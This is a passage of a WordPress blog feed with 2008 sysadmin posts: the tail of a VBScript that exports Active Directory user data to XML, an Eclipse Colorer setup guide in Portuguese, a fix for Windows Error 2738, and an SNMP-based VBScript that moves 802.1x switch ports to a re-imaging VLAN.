      sData = sData &#38; "&#60;ADsPath&#62;"&#38;oUser.ADsPath&#38;_
"&#60;/ADsPath&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;CN&#62;"&#38;oUser.cn&#38;_
"&#60;/CN&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;UserPrincipalName&#62;"&#38;oUser.userPrincipalName&#38;_
"&#60;/UserPrincipalName&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;SN&#62;"&#38;oUser.sn&#38;"&#60;/SN&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Initials&#62;"&#38;oUser.initials&#38;"&#60;/Initials&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;GivenName&#62;"&#38;oUser.givenname&#38;"&#60;/GivenName&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;DisplayName&#62;"&#38;oUser.displayname&#38;"&#60;/DisplayName&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Description&#62;"&#38;oUser.description&#38;"&#60;/Description&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;LastLogonTimestamp&#62;"&#38;oUser.lastLogonTimestamp&#38;"&#60;/LastLogonTimestamp&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Country&#62;"&#38;oUser.c&#38;"&#60;/Country&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;City&#62;"&#38;oUser.l&#38;"&#60;/City&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Office&#62;"&#38;oUser.physicalDeliveryOfficeName&#38;"&#60;/Office&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Department&#62;"&#38;oUser.department&#38;"&#60;/Department&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Title&#62;"&#38;oUser.title&#38;"&#60;/Title&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;legacyExchangeDN&#62;"&#38;oUser.legacyExchangeDN&#38;_
"&#60;/legacyExchangeDN&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;msExchALObjectVersion&#62;"&#38;_
oUser.msExchALObjectVersion&#38;_
"&#60;/msExchALObjectVersion&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;msExchUserAccountControl&#62;"&#38;oUser.msExchUserAccountControl&#38;_
"&#60;/msExchUserAccountControl&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;HomeMDB&#62;"&#38;oUser.homeMDB&#38;"&#60;/HomeMDB&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;HomeMTA&#62;"&#38;oUser.homeMTA&#38;"&#60;/HomeMTA&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;msExchHomeServerName&#62;"&#38;oUser.msExchHomeServerName&#38;_
"&#60;/msExchHomeServerName&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;mDBUseDefaults&#62;"&#38;oUser.mDBUseDefaults&#38;_
"&#60;/mDBUseDefaults&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Warning&#62;"&#38;oUser.mDBStorageQuota&#38;"&#60;/Warning&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;SendLimit&#62;"&#38;oUser.mDBOverQuotaLimit&#38;"&#60;/SendLimit&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;MailNickname&#62;"&#38;oUser.mailNickname&#38;"&#60;/MailNickname&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Mail&#62;"&#38;oUser.mail&#38;"&#60;/Mail&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;ProxyAddresses&#62;"&#38;vbNewLine 
       If IsArray(oUser.proxyAddresses) Then
        For Each present In oUser.proxyAddresses
        sData = sData &#38; "&#60;ProxyAddress&#62;"&#38;present&#38;"&#60;/ProxyAddress&#62;"&#38;vbNewLine
        Next
       Else
        sData = sData &#38; "&#60;ProxyAddress&#62;"&#38;oUser.proxyAddresses&#38;"&#60;/ProxyAddress&#62;"&#38;vbNewLine
       End If
      sData = sData &#38; "&#60;/ProxyAddresses&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;Groups&#62;"&#38;vbNewLine
       If IsArray(oUser.memberof) Then
        For Each present In oUser.memberof
        sData = sData &#38; "&#60;Group&#62;"&#38;present&#38;"&#60;/Group&#62;"&#38;vbNewLine
        Next
       ElseIf oUser.memberof &#60;&#62; "" Then
        sData = sData &#38; "&#60;Group&#62;"&#38;oUser.memberof&#38;"&#60;/Group&#62;"&#38;vbNewLine
       End If
      sData = sData &#38; "&#60;/Groups&#62;"&#38;vbNewLine
  Set oUser = Nothing
  rs.MoveNext
  Loop
 Else
 Call MsgBox("No User/s found in AD with those details!",16,"Status")
 End If
rs.Close
Set Rs = Nothing
Set oRoot = Nothing
Set oDomain = Nothing
Set Conn = Nothing
Set Comm = Nothing
sDomain = ""
sBase = ""
sDepth = ""
sData = Replace(sData,"&#38;","&#38;amp;")
GetUserData = sData
End Function</span></pre>
<p><span style="color:#000000;">The above code can be copied into a *.vbs file and run from the cmd line or double clicked from the file through windows explorer.</span></p>
<p>Note: The messages from the script utilize 'MSGBOX' so they are displayed rather than pushed to the command line.</p>
<p>Basicaly the code produces the base XML file in a String "sData" then a function is called that queries the relevant AD domain and using LDAP connects to the users "common name" entered in to the input box at the initiation of the script. The data is added to the sData String and then finaly written to the XML File.</p>
<p>Hope this helps!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Configurar Eclipse Colorer - take5 no Linux]]></title>
<link>http://webcentro.wordpress.com/?p=99</link>
<pubDate>Fri, 03 Oct 2008 14:35:19 +0000</pubDate>
<dc:creator>webcentro</dc:creator>
<guid>http://webcentro.ru.wordpress.com/2008/10/03/configurar-eclipse-colorer-take5-no-linux/</guid>
<description><![CDATA[A  dica a seguir me tomou muito tempo, havia até desistido. Hoje  numa ultima tentativa, consegui ]]></description>
<content:encoded><![CDATA[<p><em>A  dica a seguir me tomou muito tempo, havia </em><em>até</em><em> desistido. Hoje  numa ultima tentativa, consegui faze-lo funcionar:</em></p>
<p>A algum tempo atrás quando comecei a usar o eclipse para editar arquivos ASP/VBSCRIPT (não é a melhor opção, mas uma das melhores existentes no Linux), um colega, Paulo de Tarso, me apresentou o plugin Eclipse Colorer (<a href="http://colorer.sourceforge.net/eclipsecolorer/">http://colorer.sourceforge.net/eclipsecolorer/</a>), que simplesmente colore o código asp, porém, depois de ter o computador formatado, nunca mais consegui configura-lo novamente.</p>
<p>A seguir os passos que fiz para instala-lo:</p>
<p>faça o download do pacote, e descompacte na pasta plugins do seu Eclipse:<br />
(EclipseColorer-take5_0.8.0) <a href="http://sourceforge.net/project/showfiles.php?group_id=34855&#38;package_id=75558">http://sourceforge.net/project/showfiles.php?group_id=34855&#38;package_id=75558</a></p>
<p>Até ai tudo bem, porém o EclipseColorer usa de uma lib própria e caso essa não tenha todas suas dependências instaladas irá ocorrer o seguinte erro:</p>
<p><em>"Error in initialization of a native part of the Colorer library. This can be caused by absent net_sf_colorer.dll (libnet_sf_colorer.so) library in paths of java machine. Or, colorer can't find catalog.xml file, wich must be placed in '%PLUGIN_DIR%/colorer/catalog.xml' Could not initilize class net.sf.colorer.ParserFactory"</em></p>
<p>como dito no erro, copie a lib que esta em .../net.sf.colorer_0.8.0/os/linux/x86 para um path que esteja visivel para o java, eu copiei para o /usr/lib mesmo<br />
<strong><code># cp libnet_sf_colorer.so /usr/lib</code></strong></p>
<p>após isso use o comando ldd para listar as dependencias:</p>
<p><code>$ ldd /usr/lib/libnet_sf_colorer.so<br />
linux-gate.so.1 =&#62;  (0xb7f7e000)<br />
libstdc++.so.5 =&#62; not found<br />
libm.so.6 =&#62; /lib/tls/i686/cmov/libm.so.6 (0xb7eb9000)<br />
libc.so.6 =&#62; /lib/tls/i686/cmov/libc.so.6 (0xb7d69000)<br />
libgcc_s.so.1 =&#62; /lib/libgcc_s.so.1 (0xb7d5e000)<br />
/lib/ld-linux.so.2 (0xb7f7f000)</code></p>
<p>No meu caso a lib <code>libstdc++.so.5 não existia, simplesmente dei um apt-get na</code> libstdc++5</p>
<p><code># apt-get install libstdc++5</code></p>
<p>Now it works ;]!! para mais informações vejam os fontes a seguir:</p>
<p>Fontes:<br />
<a href="http://quattor.begrid.be/trac/centralised-begrid-v5/wiki/Configure_Eclipse">http://quattor.begrid.be/trac/centralised-begrid-v5/wiki/Configure_Eclipse</a><br />
<a href="http://lists.debian.org/debian-user-portuguese/2003/12/msg00836.html">http://lists.debian.org/debian-user-portuguese/2003/12/msg00836.html</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Error 2738: Could not access VBScript run time for custom action]]></title>
<link>http://jonstechbits.wordpress.com/?p=11</link>
<pubDate>Sat, 27 Sep 2008 12:08:34 +0000</pubDate>
<dc:creator>Jon</dc:creator>
<guid>http://jonstechbits.com/2008/09/27/error-2738-could-not-access-vbscript-run-time-for-custom-action/</guid>
<description><![CDATA[Finally, Matrox has released version 9.0 of their MIL-Lite imaging library. Finally - because it is ]]></description>
<content:encoded><![CDATA[<p>Finally, <a href="http://www.matrox.com">Matrox</a> has released version 9.0 of their MIL-Lite imaging library. Finally - because it is the first version with Vista support, and as most people know, Microsoft has ended selling Windows XP. I have got a hand of a beta version and installed it today. Up to now I have had to use a second computer with Windows XP to debug and run the applications. More on that at another time.</p>
<p>Anyway, as the application also use DAC boards from Computerboards (now <a href="http://www.measurementcomputing.com/">Measurement Computing</a>), I needed to instasll their <a href="ftp://ftp.measurementcomputing.com/downloads/InstaCal/icalsetup.exe">Vista-compatible InstaCal </a>driver too. Their drivers always work ok, so I was surprised when the installation repeatedly stopped with the error "Error 2738: Could not access VBScript run time for custom action". After searching the Measurement Computing forums , I went to google and it turned out that this error stems from vbscript.dll not being registered. How on earth that windows component did get unregistered I do not know, but this procedure fixed the problem:<br />
<code>1. Run Command Prompt as administrator<br />
         1.1 Start Menu -&#62; All Programs -&#62; Accessories<br />
         1.2 Right click on Command Prompt and select Run as administrator<br />
2. Type cd c:\windows\system32 into the Command Prompt and hit Enter<br />
3. Type regsvr32 vbscript.dll into the Command Prompt and hit Enter</code></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Re-Imaging Computers in 802.1x Networks - Part 5]]></title>
<link>http://networknerd.wordpress.com/?p=141</link>
<pubDate>Wed, 24 Sep 2008 10:24:07 +0000</pubDate>
<dc:creator>networknerd</dc:creator>
<guid>http://networknerd.ru.wordpress.com/2008/09/24/re-imaging-computers-in-8021x-networks-part-5/</guid>
<description><![CDATA[This is the final post in this series on re-imaging in 802.1x networks. It ties all the other posts ]]></description>
<content:encoded><![CDATA[<p>This is the final post in this series on re-imaging in 802.1x networks. It ties all the other posts together and contains the complete altiris re-imaging script in one listing.  Although I haven't covered it here, a post-image script is also required to set the switch port back to using dot1x after the image is dropped from the computer and joined to the domain to get it's authentication credentials.</p>
<p><strong>Altiris scripting<br />
</strong>The observant reader would have noticed that additional information is required before we can perform the previous five steps in a script. The mac address of the computer, the re-imaging vlan and the management IP address of the switch are also required. Variables are provided by altiris which help obtain the additional information. The mac address is provided straight up as %NIC1MACADDR%. The management IP address of the switch and re-imaging vlan aren't directly available. Altiris has no knowledge of these items. However networks built to a standard allow calculation of the remaining two parameters. The computers ip address provided in the %NIC1IPADDR% variable is used for this calculation. The example network was built to the design standard below.</p>
<ul>
<li>Floor vlans will be allocated in the range 100 – 299 with 10 vlans being reserved per floor.</li>
<li>Floor ip addresses will be allocated in the range 192.168.32.0 – 192.168.191.255 with 8 class C networks reserved per floor.</li>
<li>The first three networks and vlans per floor will be allocated to authenticated computers, guest/auth-fail computers and re-imaging vlan respectively.</li>
<li>The fourth network and vlan will be reserved for future IP telephony projects.</li>
<li>The fifth network will be allocated to switch management IP addresses with all others reserved for future use.</li>
<li>Switch management vlans will be allocated in the range 300 – 350.</li>
<li>Edge switch management address will start at 192.168.x.11</li>
</ul>
<p>The ip address of the first network on a floor is calculated by masking the last three bits in the third octet of the computers ip address (%NIC1IPADDR%). The fifth network on each floor is reserved for switch management. Adding 4 to the third octet gives the switch management network. Assuming the last octet of the switch management IP addresses are also kept consistent, the address can be completed by simply changing the fourth octet to the standard value. Refer to the getSwitchMgmtAddr() function in listing 1.</p>
<p>The vlan of the first network on a floor is calculated using a similar technique. The vlan in which the computers mac address was found is divided, using integer division, by the number of vlans per floor. The result is then multiplied by the number of vlans per floor. The third network and vlan are reserved for re-imaging. Adding 2 to the first vlan on the floor will give the re-imaging vlan.</p>
<p>As an example, assume that the computer to be re-imaged has an ip address of 192.168.42.157 and its mac address was found in vlan 112 (probably due to a failed re-image job). Masking the last three bits of the third octet gives the first network on the floor.<br />
00101010 (42)<br />
AND 11111000 (248)<br />
= 00101000 (40)<br />
The management network is found by adding 4 to the third octet and gives 192.168.44.0/24, and the switch management ip address will be 192.168.44.11. The first vlan on a floor is calculated as (112\10) * 10 = 110. The re-imaging vlan is found by adding 2 to give 112. Note that the use of integer division- denoted by \ rather than / - means that remainders are ignored.</p>
<p>Not every network is the way we would design it with hindsight. Networks often grow in odd ways. You may have inherited a flat network that won't lend itself to this kind of calculation. In this case you can simply build an array of switch management ip addresses and loop through steps one and two for each switch until the bridgeport on which the mac address appears is found on a non-trunking port. Then continue with steps three to five.</p>
<p>The script in listing 1 should be easy to customise for your environment. Pay particular attention to the constants defined at the beginning, the regular expression patterns used to match the output from the snmp commands, and the snmp commands. If you aren't familiar with regular expressions take a look at "Mastering Regular expressions" by Jeffrey Friedl.</p>
<p>With snmp and a modicum of scripting know-how you can now have dot1x security without fearing an uprising of angry helpdesk staff.</p>
<p><strong>References</strong></p>
<pre><em>How To Add, Modify, and Remove VLANs on a Catalyst Using SNMP.</em> (October 26, 2005).
     Retrieved 11 November, 2006, from
     <a href="http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801c6035.shtml">http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801c6035.shtml</a>

<em>Using SNMP to Find a Port Number from a MAC Address on a Catalyst Switch.</em> (October 26, 2005).
     Retrieved 11 November, 2006, from
     <a href="http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801c9199.shtml">http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801c9199.shtml</a>

<em>How To Get Dynamic CAM Entries (CAM Table) for Catalyst Switches Using SNMP.</em> (October 26, 2005).
     Retrieved 11 November, 2006, from
     <a href="http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a0080094a9b.shtml">http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a0080094a9b.shtml</a>

<em>How to Get VLAN Information From a Catalyst Using SNMP.</em> (October 26, 2005).
     Retrieved 11 November, 2006, from
     <a href="http://www.cisco.com/en/US/tech/tk648/tk362/technologies_configuration_example09186a008015773e.shtml">http://www.cisco.com/en/US/tech/tk648/tk362/technologies_configuration_example09186a008015773e.shtml</a>

<em>SNMP Community String Indexing.</em> (October 26, 2005).
     Retrieved 11 November, 2006, from
     <a href="http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801576ff.shtml">http://www.cisco.com/en/US/tech/tk648/tk362/technologies_tech_note09186a00801576ff.shtml</a>

<em>IEEE Standard for Local and metropolitan area networks—Port-Based Network Access Control.</em> (2004).
     Retrieved 11 November, 2006, from
     <a href="http://standards.ieee.org/getieee802/download/802.1X-2004.pdf">http://standards.ieee.org/getieee802/download/802.1X-2004.pdf</a>

Friedl, J. (2002). <em>Mastering Regular Expressions</em> (Second ed.): O'Reilly Media Inc.
<!--more-->
<strong>Listing 1</strong>
<pre><code>

option explicit
const REIMAGE_VLAN_OFFSET = 2
const VLAN_FLOOR_INCREMENT = 20
const SW_MGMT_LAST_OCTET = 11
const FORCEUNAUTHORISED = 1
const AUTO = 2
const FORCEAUTHORISED = 3
const VMVLAN = ".1.3.6.1.4.1.9.9.68.1.2.2.1.2."
const dot1xAuthAuthControlledPortControl = ".1.0.8802.1.1.1.1.2.1.1.6."
const VTPVLANSTATE = " .1.3.6.1.4.1.9.9.46.1.3.1.1.2 "
const DOT1DTPFDBPORT = " .1.3.6.1.2.1.17.4.3.1.2"
const DOT1DBASEPORTIFINDEX = " .1.3.6.1.2.1.17.1.4.1.2."
const vlanPortIslVlansAllowed = " .1.3.6.1.4.1.9.5.1.9.3.1.5.1.1 "
const SNMPGETCMD2 = "f:\usr\bin\snmpget.exe -Ov -v 2c -c "
const SNMPWALKCMD = "f:\usr\bin\snmpwalk.exe -OnqUe -v 2c -c "
const SNMPSETCMD = "f:\usr\bin\snmpset.exe -v 2c -c "
const SNMPGETCMD = "f:\usr\bin\snmpget.exe -OnqUe -v 2c -c "
const SNMPWRITE = " private "
const SNMPREAD = " public "
const SNMPREADV = " public@" 'need community name and vlan for some info
const SHUTDOWNCMD = "c:\windows\system32\shutdown.exe -m "
const SHUTDOWNARGS = " -r -f -t 1"

dim arrVlans, vlan
dim bridgeport, ifindex
dim strMgmtIP, strMACAddress, WshShell, intresult, strAgntAddr

Set WshShell = CreateObject("WScript.Shell")

'************************************************************************
'  get the switch management IP address                                 *
'         Altiris provides us with the mac address                      *
'************************************************************************
if "%NIC1IPADDR%" = "0.0.0.0" then
  strMgmtIP = getSwitchMgmtAddr("%NIC2IPADDR%")
  strMACAddress = lcase("%NIC2MACADDR%")
  strAgntAddr = "%NIC2IPADDR%"
Else
  strMgmtIP = getSwitchMgmtAddr("%NIC1IPADDR%")
  strMACAddress = lcase("%NIC1MACADDR%")
  strAgntAddr = "%NIC1IPADDR%"
end if

'************************************************************************
' Step one - get the list of vlans                                      *
'************************************************************************
arrVlans = enum_AllowedVLAN(strMgmtIP)

'************************************************************************
' Step two - get the bridgeport                                         *
'************************************************************************
for each vlan in arrVlans
  bridgeport = getBridgePort(strMgmtIP, vlan, strMACAddress)
  if bridgeport &#60;&#62; "" then
    exit for
  end if
next
if bridgeport = "" then
  wshShell.logevent 1,"Bridgeport not found for mac address "  &#38; _
        strMACAddress &#38; " For Computer %NAME%"
  wscript.quit
end if

'************************************************************************
' Step three - get the interface index                                  *
'************************************************************************
ifindex = getIFIndex(strMgmtIP, vlan, bridgeport)
if ifindex = "" then
  wshShell.logevent 1,"ifindex not found for mac address "  &#38; _
        strMACAddress &#38; " For Computer %NAME%"
  wscript.quit
end if

'************************************************************************
' Step four - set the dot1x port control                                *
'************************************************************************
intresult = setPortControl(strMgmtIP,ifindex, FORCEAUTHORISED)

'************************************************************************
' reboot the computer so that it picks up a new dhcp address            *
'        in the re-imaging vlan.                                        *
'************************************************************************
RebootComputer("\\" &#38; strAgntAddr)

'************************************************************************
' Step five - set the vlan to our re-imaging vlan                       *
' note the use of integer division operator \                           *
'************************************************************************
vlan = (vlan \ VLAN_FLOOR_INCREMENT ) * VLAN_FLOOR_INCREMENT _
         + REIMAGE_VLAN_OFFSET
intresult = intresult + setVlan(strMgmtIP,ifindex, vlan)
if intresult = 0 then
  wshShell.logevent 4, "Reimage vlan " &#38; Vlan &#38; " for %NAME%," &#38; _
        StrMgmtIP &#38; "," &#38; ifindex
Else
  wshShell.logevent 1, "Port " &#38; ifindex &#38; " on " &#38; StrMgmtIP &#38; _
        " for %NAME% was Not set correctly"
End If
wscript.quit

'************************************************************************
'FUNCTION:                                                              *
'       setVlan(strAgent,intIFIndex, intVlan)                           *
'                                                                       *
'Purpose:                                                               *
'       set the port specified by the interface index suitable to       *
'       the specified vlan                                              *
'                                                                       *
'Inputs:                                                                *
'       strAgent: management IP address of the switch                   *
'       intIFIndex: port interface index returned from getIFIndex()     *
'       intVlan : the vlan to which the port should be configured       *
'                                                                       *
'Returns:                                                               *
'       Integer, 0 if successful or a positive value on failure.        *
'                                                                       *
'Calls:                                                                 *
'       SNMPSETCMD - constant defining the path to an external          *
'       program and options used to perform an snmp set                 *
'                                                                       *
'Comments:                                                              *
'       CISCO-VTP-MIB is cisco specific.                                *
'       Reference cisco Document ID: 45080                              *
'       "How To Add, Modify, and Remove VLANs on a Catalyst Using SNMP" *
'       viewed at                                                       *
'       http://www.cisco.com/en/US/tech/tk648/tk362/                    *
'                technologies_tech_note09186a00801c6035.shtml           *
'       on 16/11/2006                                                   *
'************************************************************************
function  setVlan(strAgent,intIFIndex, intVlan)
dim WshShell, oExec
dim stroutput

  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SNMPSETCMD &#38; SNMPWRITE &#38; " " &#38; strAgent &#38; _
                " " &#38; VMVLAN &#38; intIFIndex &#38; " i " &#38; intVlan)
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop
  setVlan = instr(1, stroutput, "Error")
end function

'************************************************************************
'FUNCTION:                                                              *
'       setPortControl(strAgent,intIFIndex, intPortControl)             *
'                                                                       *
'Purpose:                                                               *
'       sets the PaeControlledPortControl value which controls whether  *
'       dot1x authentication is required.                               *
'                                                                       *
'Inputs:                                                                *
'       strAgent: management IP address of the switch                   *
'       intIFIndex: port interface index returned from getIFIndex()     *
'       intPortControl : the control values of the authenticator PAE    *
'               controlled port. Allowed values are                     *
'               forceUnauthorized(1), auto(2),forceAuthorized(3)        *
'                                                                       *
'Returns:                                                               *
'       Integer, 0 if successful or a positive value on failure.        *
'                                                                       *
'Calls:                                                                 *
'       SNMPSETCMD - constant defining the path to an external          *
'       program and options used to perform an snmp set                 *
'                                                                       *
'Comments:                                                              *
'       Reference IEEE Std 802.1X-2001                                  *
'       "IEEE Standard for Local and metropolitan area networks—        *
'               Port-Based Network Access Control"                      *
'       viewed at                                                       *
'       http://standards.ieee.org/getieee802/download/802.1X-2001.pdf   *
'       on 16/11/2006                                                   *
'************************************************************************
function  setPortControl(strAgent,intIFIndex, intPortControl)
dim WshShell, oExec
dim stroutput

  if (intPortControl &#60; FORCEUNAUTHORISED or _
                intPortControl &#62; FORCEAUTHORISED) then
    setPortControl = 1
    exit function
  end if
  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SNMPSETCMD &#38; SNMPWRITE &#38; " " &#38; strAgent &#38; _
                " " &#38; dot1xAuthAuthControlledPortControl &#38; intIFIndex &#38;_
                " i " &#38; intPortControl)
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop
  setPortControl = instr(1, stroutput, "Error")
end function

'************************************************************************
'FUNCTION:                                                              *
'       getIFIndex(strAgent, intVlan, intBridgePort)                    *
'                                                                       *
'Purpose:                                                               *
'       convert a bridgeport value to an interface index suitable for   *
'       use with the setvlan() and setportcontrol() functions           *
'                                                                       *
'Inputs:                                                                *
'       strAgent: management IP address of the switch                   *
'       intVlan : the vlan specific instance of the forwarding table    *
'       intBridgePort: bridgeport value returned from getBridgePort()   *
'                                                                       *
'Returns:                                                               *
'       String containing the interface index, or an empty string on    *
'       failure                                                         *
'                                                                       *
'Calls:                                                                 *
'       SNMPGETCMD - constant defining the path to an external          *
'       program and options used to perform an snmp get                 *
'                                                                       *
'Comments:                                                              *
'       Uses community string indexing to reference the per vlan mib    *
'       instance.                                                       *
'       Reference cisco Document ID: 44800                              *
'       "Using SNMP to Find a Port Number from a MAC Address on a       *
'       Catalyst Switch" viewed        at                               *
'       http://www.cisco.com/en/US/tech/tk648/tk362/                    *
'               technologies_tech_note09186a00801c9199.shtml            *
'       on 16/11/2006                                                   *
'************************************************************************
function getIFIndex(strAgent, intVlan, intBridgePort)
dim WshShell, oExec
dim re 'as regexp
dim matches
dim match
dim tempstr, stroutput

  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SNMPGETCMD &#38; SNMPREADV &#38; intVlan &#38; " " &#38; _
                strAgent &#38; " " &#38; DOT1DBASEPORTIFINDEX &#38; intBridgePort)
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop

  set re = new regexp
  re.global = True
  re.multiline = True
'Pattern to capture the last digits of the snmp output
'output lines from SNMPCMD should look like
'                ".1.3.6.1.2.1.17.1.4.1.2.108 11002"
  re.pattern = "^" &#38; trim(DOT1DBASEPORTIFINDEX) &#38; intBridgePort &#38; _
                "\s+(\d+)$"

  tempstr = ""
  set matches = re.execute(stroutput)
  for each match in matches
    tempstr = match.submatches(0)
  next
  getIFIndex = tempstr
end function

'************************************************************************
'FUNCTION:                                                              *
'       getBridgePort(strAgent, intVlan, strmac)                        *
'                                                                       *
'Purpose:                                                               *
'       examine the switch forwarding tables for the specified mac      *
'       address in the specified vlan                                   *
'                                                                       *
'Inputs:                                                                *
'       strAgent: management IP address of the switch                   *
'       intVlan : the vlan specific instance of the forwarding table    *
'       strmac  : Mac address string in the format 0040CA6934EE         *
'                                                                       *
'Returns:                                                               *
'       String containing the bridgeport if found or an empty string    *
'                                                                       *
'Calls:                                                                 *
'       SNMPGETCMD - constant defining the path to an external          *
'       program and options used to perform an snmp get                 *
'                                                                       *
'Comments:                                                              *
'       Uses community string indexing to reference the per vlan mib    *
'       instance.                                                       *
'       Reference cisco Document ID: 44800                              *
'       "Using SNMP to Find a Port Number from a MAC Address on a       *
'       Catalyst Switch" viewed        at                               *
'       http://www.cisco.com/en/US/tech/tk648/tk362/                    *
'               technologies_tech_note09186a00801c9199.shtml            *
'       on 16/11/2006                                                   *
'************************************************************************
function getBridgePort(strAgent, intVlan, strmac)
dim WshShell, oExec
dim re 'as regexp
dim matches
dim match
dim tempstr, stroutput

  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SNMPGETCMD &#38; SNMPREADV &#38; intVlan &#38; " " &#38; _
        strAgent &#38; " " &#38; DOT1DTPFDBPORT &#38; mac2oid(strmac))
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop
 set re = new regexp
  re.global = True
  re.multiline = True
'output lines from SNMPCMD should look like
'        ".1.3.6.1.2.1.17.4.3.1.2.0.64.202.105.52.238 108"
'Pattern to capture the snmpget output
  re.pattern = "^" &#38; trim(DOT1DTPFDBPORT) &#38; mac2oid(strmac) &#38; "\s+(\d+)$"

  tempstr = ""
  set matches = re.execute(stroutput)
  for each match in matches
    tempstr = match.submatches(0)
  next
  getBridgePort = tempstr
end function

'************************************************************************
'FUNCTION:                                                              *
'       enum_AllowedVLAN(strAgent)                                      *
'Purpose:                                                               *
'       enumerate the vlans configured on the switch.                   *
'                                                                       *
'Inputs:                                                                *
'       strAgent: management IP address of the switch                   *
'                                                                       *
'Returns:                                                               *
'       Array with each element containing a vlan number                *
'                                                                       *
'Calls:                                                                 *
'       SNMPGETCMD2 - constant defining the path to an external         *
'       program and options used to perform an snmp get operation.      *
'       fmtBinary - function to left pad a binary number with zeros     *
'       ToBinary - function to convert an integer to a binary string    *
'                                                                       *
'Comments:                                                              *
'       CISCO-STACK-MIB  is cisco specific.                             *
'       Reference Cisco SNMP Object Navigator viewed at                 *
'       http://tools.cisco.com/Support/SNMP/do/BrowseOID.do?            *
'              objectInput=vlanPortIslVlansAllowed&#38;translate=Translate&#38; *
'              submitValue=SUBMIT&#38;submitClicked=true                    *
'       on 16/11/2006                                                   *
'************************************************************************
function enum_AllowedVLAN(strAgent)
dim WshShell, oExec
dim re 'as regexp
dim matches
dim match, submatch
dim tempstr, stroutput, index, vlans

  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SNMPGETCMD2 &#38; SNMPREAD &#38; " " &#38; _
                strAgent &#38; " " &#38; vlanPortIslVlansAllowed)
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop
  tempstr = ""

  set re = new regexp
  re.global = True
  re.multiline = True
'Pattern to capture the hex digits representing the allowed vlans.
  re.pattern = "[0-9a-fA-F]{2}"

  vlans = ""
  if instr(1,stroutput, "Hex-STRING:") &#62; 0  then
    set matches = re.execute(stroutput)
    for each match in matches
      tempstr =  tempstr &#38; fmtBinary(ToBinary(cint("&#38;H" &#38; match)), 8)
      next
    tempstr = strreverse(tempstr)
    index = 1
    do
      index = instr(index, tempstr, "1")
      if index &#60;&#62; 0 then
        vlans = vlans &#38; " " &#38; index - 1
        index = index + 1
      end if
    loop until index = 0
  end if
  enum_AllowedVLAN = split(trim(vlans))
end function

'************************************************************************
'FUNCTION:                                                              *
'       fmtBinary(strNumber, intLength)                                 *
'PURPOSE:                                                               *
'       function to left pad a binary number with zeros                 *
'                                                                       *
'INPUTS:                                                                *
'       strNumber: binary number to left pad with zeros                 *
'       intLength: The desired bit length of the binary number          *
'                                                                       *
'RETURNS:                                                               *
'       string containing the binary representation of the input.       *
'                                                                       *
'CALLS:                                                                 *
'       Nothing                                                         *
'                                                                       *
'COMMENTS:                                                              *
'************************************************************************
function fmtBinary(strNumber, intLength)
  fmtBinary = string(intLength - len(strNumber), "0") &#38; strNumber
end function

'************************************************************************
'FUNCTION:                                                              *
'       ToBinary(intNumber)                                             *
'                                                                       *
'PURPOSE:                                                               *
'       convert an integer number to binary.                            *
'                                                                       *
'Inputs:                                                                *
'       intNumber: Number to convert to binary                          *
'                                                                       *
'Returns:                                                               *
'       string containing the binary representation of the input.       *
'                                                                       *
'Calls:                                                                 *
'       Nothing                                                         *
'                                                                       *
'Comments:                                                              *
'       note the use of \ (integer division operator) rather than /     *
'************************************************************************
function ToBinary(intNumber)
  if intNumber &#62; 0 then
    ToBinary = ToBinary(intNumber\2) &#38; intNumber mod 2
  end if
end function

'************************************************************************
